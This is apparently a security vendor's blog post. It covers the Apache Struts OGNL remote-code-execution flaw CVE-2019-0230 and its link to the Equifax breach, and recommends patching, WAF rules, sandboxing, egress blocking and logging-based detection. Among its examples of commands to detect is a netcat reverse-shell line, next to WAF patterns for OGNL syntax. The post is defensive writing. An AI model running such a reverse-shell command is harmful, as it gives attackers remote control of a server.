Back in September 2017, credit reporting giant Equifax reported that it had been hacked, and the sensitive personal information of 143 million US citizens had been compromised—a number the company later revised up to 147.9 million. Names, birth dates, Social Security numbers, all gone in an unprecedented heist. Earlier this year (February, 2020) the Department of Justice pointed the finger at China’s People’s Liberation Army as the culprit.
That hack in 2017 was traced to a vulnerable instance of Apache Struts on an internet-facing web server. This allowed the attackers to exploit an RCE (remote code execution) vulnerability to gain access to the Equifax network. Recently, a new RCE vulnerability in Apache Struts (CVE-2019-0230) has come to light. The bug affects Apache Struts versions 2.0.0 through 2.5.20 and occurs in the logic which evaluates user submitted tag attributes (within a component called Object-Graph Navigation Language or OGNL). The pervasiveness of the Struts framework –which is embedded into many commercial Java-based web applications without warning– and the potential to execute arbitrary code make this new vulnerability an attractive target for attackers.
The cherry on top is that there are several different proof-of-concept exploits already available for this vulnerability (like the one below posted on twitter).
Mitigation
The official fix from Apache Struts project is as follows:
Upgrade to Struts 2.5.22
Apache has also realized that the OGNL component has a history of critical security bugs and they have created a mitigation mechanism. However, this mechanism is disabled by default in Struts version before 2.5.22 and will need to be enabled and tested for your applications.
Defense In-depth
The above "mitigation" relies on your vulnerability management and patch deployment processes and should be a subset of a larger comprehensive defense in-depth strategy. Let's be honest, racing against the clock to deploy a security patch as the only mitigation isn't a great place to be. Furthermore, a scenario exists in which you aren't even aware that a vulnerable component exists on your network because it may be embedded in a more complex enterprise application. This is exactly where Equifax found themselves in 2017 (by all accounts, they have made remarkable changes in security posture since then). So, let's learn from that mistake and look into some defense in-depth preventative and detective controls.
Prevention
Application Layer Controls: If you have a WAF (web-application firewall) or RASP (runtime application self-protection) agent sitting between the Internet and your application, you can potentially create rules which block the use of forced OGNL evaluation in user input (by looking for ${..} or %{..} syntax). However, there are two major issues with this type of a preventative control.
If you're the consumer of an Apache Struts application (and not the author), it is possible that you do not completely understand the consequences of blocking this behavior and may end up breaking legitimate application functionality.
The other issue is that this is not fool-proof. As noted here, some tags/configurations will just evaluate user input as OGNL without it being wrapped inside the special ${..} or %{..} syntax.
End-point Controls: Proactive end-point process sandboxing utilities like SELinux can also be configured to restrict the web application user accounts to only the actions and resources they need to operate. While SELinux is a native and free tool, it runs into the same issues as above if you are a user (and not the primary author) of the application. It may require a little trial and error testing to make sure that you are not blocking legitimate functionality.
Network Controls: Beyond the Initial Access a good rule of thumb to prevent the Execution, Command-and-control, and Exfiltration stages of of an attack is to prevent outbound internet access from an internet-facing server. It is also recommended to isolate these servers from other servers and client workstations on the internal network (we don't want to fall prey to the tough exterior and soft gooey interior paradigm).
Detection
End-point telemetry utilities, such as commercial EDR / XDR (Crowdstrike, Lima Charlie, et. al.), native tools (e.g. Auditd and SELinux), and open source tools (Falco) can also point out unusual process and / or user behavior. The recommendation here is to log shell command execution and file reads and writes (careful, logging read calls will result in a lot of log events) and then ship them off to a SIEM (security information and event management) or log search or tool (think an ELK cluster or something hosted like Sumologic). Now you can set up a rule or recurring search query to check which web-application process or user (e.g. nginx or apache) is running odd commands like "whoami" or "ls" or "nc -e /bin/sh 10.0.0.1 4242".
Hopefully, this was informational and provides some context and methods to prevent and detect exploitation of application vulnerabilities in general. In case you're wondering, we provide comprehensive organizational and technology stack risk assessments which cover the gamut of risks applicable to cloud-heavy startup environments (AWS, GSuite, Macs, Salesforce, etc.) and also conventional on-prem environments (Active Directory, Windows, enterprise applications). We are also kicking off an MDR (Managed Security Detection and Response) and a Security Team as a Service offering. Hit us up at hello@ovrsr.com to find out more.
References:
CVE-2019-0230: https://cwiki.apache.org/confluence/display/ww/s2-059
Apache Struts Security Tips: https://struts.apache.org/security/#security-tips
Semmle Apache Struts double evaluation RCE lottery 2018: https://securitylab.github.com/research/apache-struts-double-evaluation
Duo Security Analysis: https://duo.com/decipher/apache-warns-of-serious-flaw-in-struts
CIS Advisory: https://www.cisecurity.org/advisory/a-vulnerability-in-apache-struts-could-allow-for-remote-code-execution_2018-093/